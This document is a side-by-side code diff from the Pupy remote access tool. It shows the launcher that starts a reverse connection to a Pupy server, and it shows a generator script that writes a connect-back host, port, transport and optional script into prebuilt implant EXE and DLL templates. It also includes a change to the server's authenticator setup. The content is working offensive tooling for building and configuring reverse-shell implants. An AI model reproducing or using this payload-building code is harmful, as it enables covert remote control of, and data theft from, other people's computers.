parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n") parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ") parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
@ -103,7 +119,9 @@ def main():
if "windows" in platform.system().lower(): if "windows" in platform.system().lower():
try: try:
import pupy import pupy
HOST=pupy.get_connect_back_host() config_file=pupy.get_pupy_config()
exec config_file in globals()
pupy.get_connect_back_host=(lambda: HOST)
except ImportError: except ImportError:
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
else: else:

View File

@ -1,58 +1,46 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved. # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------
import argparse import argparse
import sys import sys
import os.path import os.path
from pupylib.utils.network import get_local_ip from pupylib.utils.network import get_local_ip
from network.conf import transports
def get_edit_pupyx86_dll(host, ip): def get_edit_pupyx86_dll(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip) return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport)
def get_edit_pupyx64_dll(host, ip): def get_edit_pupyx64_dll(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip) return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport)
def get_edit_pupyx86_exe(host, ip): def get_edit_pupyx86_exe(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip) return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport)
def get_edit_pupyx64_exe(host, ip): def get_edit_pupyx64_exe(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip) return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport)
def get_edit_binary(path, host, ip): def get_edit_binary(path, host, port, transport, offline_script=""):
binary=b"" binary=b""
with open(path, 'rb') as f: with open(path, 'rb') as f:
binary=f.read() binary=f.read()
i=0 i=0
offsets=[] offsets=[]
while True: while True:
i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1) i=binary.find("####---PUPY_CONFIG_COMES_HERE---####\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
if i==-1: if i==-1:
break break
offsets.append(i) offsets.append(i)
if not offsets: if not offsets:
raise Exception("Error: the offset to edit IP:PORT have not been found") raise Exception("Error: the offset to edit the config have not been found")
elif len(offsets)!=1: elif len(offsets)!=1:
raise Exception("Error: multiple offsets to edit IP:PORT have been found") raise Exception("Error: multiple offsets to edit the config have been found")
new_host="%s:%s\x00\x00\x00\x00"%(host,ip) new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
if len(new_host)>100: if len(new_conf)>4092:
raise Exception("Error: host too long") raise Exception("Error: config too long")
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):] binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]
return binary return binary
@ -61,6 +49,7 @@ if __name__=="__main__":
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)") parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
parser.add_argument('-o', '--output', help="output path") parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)") parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ")
parser.add_argument('host', nargs='*', help="connect back host") parser.add_argument('host', nargs='*', help="connect back host")
args=parser.parse_args() args=parser.parse_args()
myhost=None myhost=None
@ -74,28 +63,28 @@ if __name__=="__main__":
outpath=None outpath=None
if args.type=="exe_x86": if args.type=="exe_x86":
binary=get_edit_pupyx86_exe(myhost, args.port) binary=get_edit_pupyx86_exe(myhost, args.port, args.transport)
outpath="pupyx86.exe" outpath="pupyx86.exe"
if args.output: if args.output:
outpath=args.output outpath=args.output
with open(outpath, 'wb') as w: with open(outpath, 'wb') as w:
w.write(binary) w.write(binary)
elif args.type=="exe_x64": elif args.type=="exe_x64":
binary=get_edit_pupyx64_exe(myhost, args.port) binary=get_edit_pupyx64_exe(myhost, args.port, args.transport)
outpath="pupyx64.exe" outpath="pupyx64.exe"
if args.output: if args.output:
outpath=args.output outpath=args.output
with open(outpath, 'wb') as w: with open(outpath, 'wb') as w:
w.write(binary) w.write(binary)
elif args.type=="dll_x64": elif args.type=="dll_x64":
binary=get_edit_pupyx64_dll(myhost, args.port) binary=get_edit_pupyx64_dll(myhost, args.port, args.transport)
outpath="pupyx64.dll" outpath="pupyx64.dll"
if args.output: if args.output:
outpath=args.output outpath=args.output
with open(outpath, 'wb') as w: with open(outpath, 'wb') as w:
w.write(binary) w.write(binary)
elif args.type=="dll_x86": elif args.type=="dll_x86":
binary=get_edit_pupyx86_dll(myhost, args.port) binary=get_edit_pupyx86_dll(myhost, args.port, args.transport)
outpath="pupyx86.dll" outpath="pupyx86.dll"
if args.output: if args.output:
outpath=args.output outpath=args.output
@ -103,7 +92,7 @@ if __name__=="__main__":
w.write(binary) w.write(binary)
else: else:
exit("Type %s is invalid."%(args.type)) exit("Type %s is invalid."%(args.type))
print "binary generated to %s with HOST=%s"%(outpath,(myhost, args.port)) print "binary generated to %s with HOST=%s:%s and TRANSPORT=%s"%(outpath, myhost, args.port, args.transport)

View File

@ -262,7 +262,11 @@ class PupyServer(threading.Thread):
self.handler_registered.wait() self.handler_registered.wait()
self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport)) self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport))
t=transports[self.transport] t=transports[self.transport]
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=t['authenticator'], stream=t['stream'], transport=t['server_transport']) if t['authenticator']:
authenticator=t['authenticator']()
else:
authenticator=None
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'])
self.server.start() self.server.start()